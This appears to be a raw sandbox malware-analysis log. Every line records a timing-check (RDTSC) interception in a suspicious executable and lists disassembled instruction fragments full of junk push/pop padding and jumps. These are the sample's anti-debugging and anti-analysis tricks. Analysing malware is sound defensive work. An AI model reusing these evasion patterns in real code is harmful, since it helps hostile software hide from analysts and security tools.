Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 94D28B second address: 94D2BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB998C5DACEh 0x00000016 jmp 00007FB998C5DAD1h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 94D2BC second address: 94D2C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 94E97A second address: 94E995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD1h 0x00000007 jng 00007FB998C5DACCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 94E81D second address: 94E821 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 94E821 second address: 94E838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 jp 00007FB998C5DAD2h 0x0000000f jns 00007FB998C5DACCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 956213 second address: 956241 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB99871C5D2h 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 jmp 00007FB99871C5CDh 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 956241 second address: 95624F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007FB998C5DAC6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 95624F second address: 956255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 95666D second address: 956671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 956955 second address: 95696A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jnc 00007FB99871C5C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jbe 00007FB99871C5C6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 956C25 second address: 956C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 95A47C second address: 95A499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D7h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 959F97 second address: 959F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 959F9B second address: 959FB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 968C99 second address: 968C9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 968C9F second address: 968CD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FB99871C5C6h 0x00000009 jmp 00007FB99871C5D5h 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007FB99871C5C6h 0x00000016 popad 0x00000017 push edi 0x00000018 jg 00007FB99871C5C6h 0x0000001e pop edi 0x0000001f pop edx 0x00000020 pop eax 0x00000021 push eax 0x00000022 push esi 0x00000023 pushad 0x00000024 popad 0x00000025 pop esi 0x00000026 pushad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 965B31 second address: 965B55 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FB998C5DAC6h 0x00000009 jmp 00007FB998C5DAD5h 0x0000000e pop ebx 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 965B55 second address: 965B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jl 00007FB99871C5CCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9768A8 second address: 9768AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9768AE second address: 9768BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB99871C5C6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9768BD second address: 9768C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 976413 second address: 976438 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB99871C5CCh 0x00000008 jmp 00007FB99871C5D0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 976438 second address: 97644C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB998C5DAD0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97644C second address: 976460 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jg 00007FB99871C5C6h 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 976460 second address: 976466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97658A second address: 9765A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CAh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9765A4 second address: 9765A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 9765A8 second address: 9765B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push edx 0x00000009 jbe 00007FB99871C5C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 978C42 second address: 978C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FB998C5DAC6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97A473 second address: 97A477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97A477 second address: 97A48F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FB998C5DACEh 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97A48F second address: 97A4AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FB99871C5D0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97A4AB second address: 97A4AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 97A4AF second address: 97A4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FB99871C5D8h 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB99871C5D9h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98DB9A second address: 98DB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98DB9E second address: 98DBB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D1h 0x00000007 ja 00007FB99871C5C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98CA65 second address: 98CA6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98CBC5 second address: 98CBCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98CBCB second address: 98CBCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98CBCF second address: 98CBEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jng 00007FB99871C5FAh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB99871C5CBh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98CBEC second address: 98CC03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D024 second address: 98D02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D312 second address: 98D318 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D318 second address: 98D33C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB99871C5D9h 0x0000000b pop edx 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D5C8 second address: 98D5CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D858 second address: 98D85C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D85C second address: 98D864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98D864 second address: 98D86B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 98F32A second address: 98F35C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACBh 0x00000007 jng 00007FB998C5DACCh 0x0000000d jnc 00007FB998C5DAC6h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ebx 0x00000016 pushad 0x00000017 jng 00007FB998C5DAC6h 0x0000001d jng 00007FB998C5DAC6h 0x00000023 popad 0x00000024 je 00007FB998C5DACCh 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 993595 second address: 993599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 993599 second address: 99359D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 99551F second address: 995541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB99871C5D1h 0x00000009 jnc 00007FB99871C5C6h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 995541 second address: 99554B instructions: 0x00000000 rdtsc 0x00000002 js 00007FB998C5DAC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53702D7 second address: 537039F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 mov cx, 56A9h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FB99871C5D4h 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB99871C5D1h 0x0000001a sbb esi, 6A667466h 0x00000020 jmp 00007FB99871C5D1h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FB99871C5D0h 0x0000002c xor ah, 00000008h 0x0000002f jmp 00007FB99871C5CBh 0x00000034 popfd 0x00000035 popad 0x00000036 xchg eax, ebp 0x00000037 pushad 0x00000038 jmp 00007FB99871C5D4h 0x0000003d pushad 0x0000003e pushfd 0x0000003f jmp 00007FB99871C5D0h 0x00000044 sbb al, FFFFFF98h 0x00000047 jmp 00007FB99871C5CBh 0x0000004c popfd 0x0000004d mov bx, ax 0x00000050 popad 0x00000051 popad 0x00000052 mov ebp, esp 0x00000054 jmp 00007FB99871C5D2h 0x00000059 mov edx, dword ptr [ebp+0Ch] 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f mov cx, CED3h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 537039F second address: 5370432 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB998C5DAD8h 0x00000008 jmp 00007FB998C5DAD5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 call 00007FB998C5DAD0h 0x00000015 pushfd 0x00000016 jmp 00007FB998C5DAD2h 0x0000001b xor ch, FFFFFFE8h 0x0000001e jmp 00007FB998C5DACBh 0x00000023 popfd 0x00000024 pop ecx 0x00000025 popad 0x00000026 mov ecx, dword ptr [ebp+08h] 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FB998C5DAD0h 0x00000032 add si, 3248h 0x00000037 jmp 00007FB998C5DACBh 0x0000003c popfd 0x0000003d mov dx, ax 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53905A0 second address: 53905A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53905A6 second address: 5390609 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FB998C5DACAh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FB998C5DACEh 0x0000001a and eax, 65643CA8h 0x00000020 jmp 00007FB998C5DACBh 0x00000025 popfd 0x00000026 call 00007FB998C5DAD8h 0x0000002b movzx eax, bx 0x0000002e pop ebx 0x0000002f popad 0x00000030 xchg eax, ecx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov edx, 729A3AAAh 0x00000039 push ebx 0x0000003a pop esi 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390609 second address: 539062B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB99871C5CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 539062B second address: 5390640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390640 second address: 5390650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB99871C5CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390650 second address: 5390665 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx esi, dx 0x0000000f mov ebx, 74942628h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390665 second address: 53906AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, 19h 0x00000005 push edi 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FB99871C5CEh 0x00000012 and ecx, 48FDD888h 0x00000018 jmp 00007FB99871C5CBh 0x0000001d popfd 0x0000001e movzx eax, bx 0x00000021 popad 0x00000022 mov dword ptr [esp], esi 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FB99871C5CDh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53906AA second address: 53906BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53906BF second address: 5390756 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c pushad 0x0000000d mov ax, 3D63h 0x00000011 pushfd 0x00000012 jmp 00007FB99871C5D8h 0x00000017 xor ax, 0FA8h 0x0000001c jmp 00007FB99871C5CBh 0x00000021 popfd 0x00000022 popad 0x00000023 nop 0x00000024 pushad 0x00000025 call 00007FB99871C5CBh 0x0000002a mov ah, E5h 0x0000002c pop edx 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FB99871C5CBh 0x00000034 nop 0x00000035 pushad 0x00000036 mov eax, 2A56759Bh 0x0000003b pushfd 0x0000003c jmp 00007FB99871C5D0h 0x00000041 sub ax, A468h 0x00000046 jmp 00007FB99871C5CBh 0x0000004b popfd 0x0000004c popad 0x0000004d push dword ptr [ebp+08h] 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390756 second address: 539075D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390781 second address: 5390787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390787 second address: 53907AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DACEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB998C5DACAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53907AB second address: 53907AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53907AF second address: 53907B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5390851 second address: 539088B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 leave 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushfd 0x0000000a jmp 00007FB99871C5D3h 0x0000000f adc ch, 0000004Eh 0x00000012 jmp 00007FB99871C5D9h 0x00000017 popfd 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 539088B second address: 538017F instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 retn 0004h 0x0000000a nop 0x0000000b cmp eax, 00000000h 0x0000000e setne al 0x00000011 jmp 00007FB998C5DAC2h 0x00000013 xor ebx, ebx 0x00000015 test al, 01h 0x00000017 jne 00007FB998C5DAC7h 0x00000019 sub esp, 04h 0x0000001c mov dword ptr [esp], 0000000Dh 0x00000023 call 00007FB99D91B204h 0x00000028 mov edi, edi 0x0000002a pushad 0x0000002b mov al, FFh 0x0000002d call 00007FB998C5DAD3h 0x00000032 mov ebx, esi 0x00000034 pop eax 0x00000035 popad 0x00000036 push ebx 0x00000037 jmp 00007FB998C5DAD0h 0x0000003c mov dword ptr [esp], ebp 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538017F second address: 5380185 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380185 second address: 53801CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB998C5DAD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FB998C5DAD0h 0x00000010 sub esp, 2Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB998C5DAD7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 53801CB second address: 53801D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 538026C second address: 5380301 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB998C5DAD3h 0x00000008 sbb esi, 3318B8BEh 0x0000000e jmp 00007FB998C5DAD9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 mov dl, cl 0x00000018 popad 0x00000019 mov edi, 00000000h 0x0000001e jmp 00007FB998C5DAD8h 0x00000023 inc ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 call 00007FB998C5DACDh 0x0000002c pop ecx 0x0000002d pushfd 0x0000002e jmp 00007FB998C5DAD1h 0x00000033 or ecx, 38717F06h 0x00000039 jmp 00007FB998C5DAD1h 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	RDTSC instruction interceptor: First address: 5380301 second address: 538033A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB99871C5D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FB99871C5CEh 0x00000010 je 00007FB99871C788h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB99871C5CAh 0x0000001f rdtsc
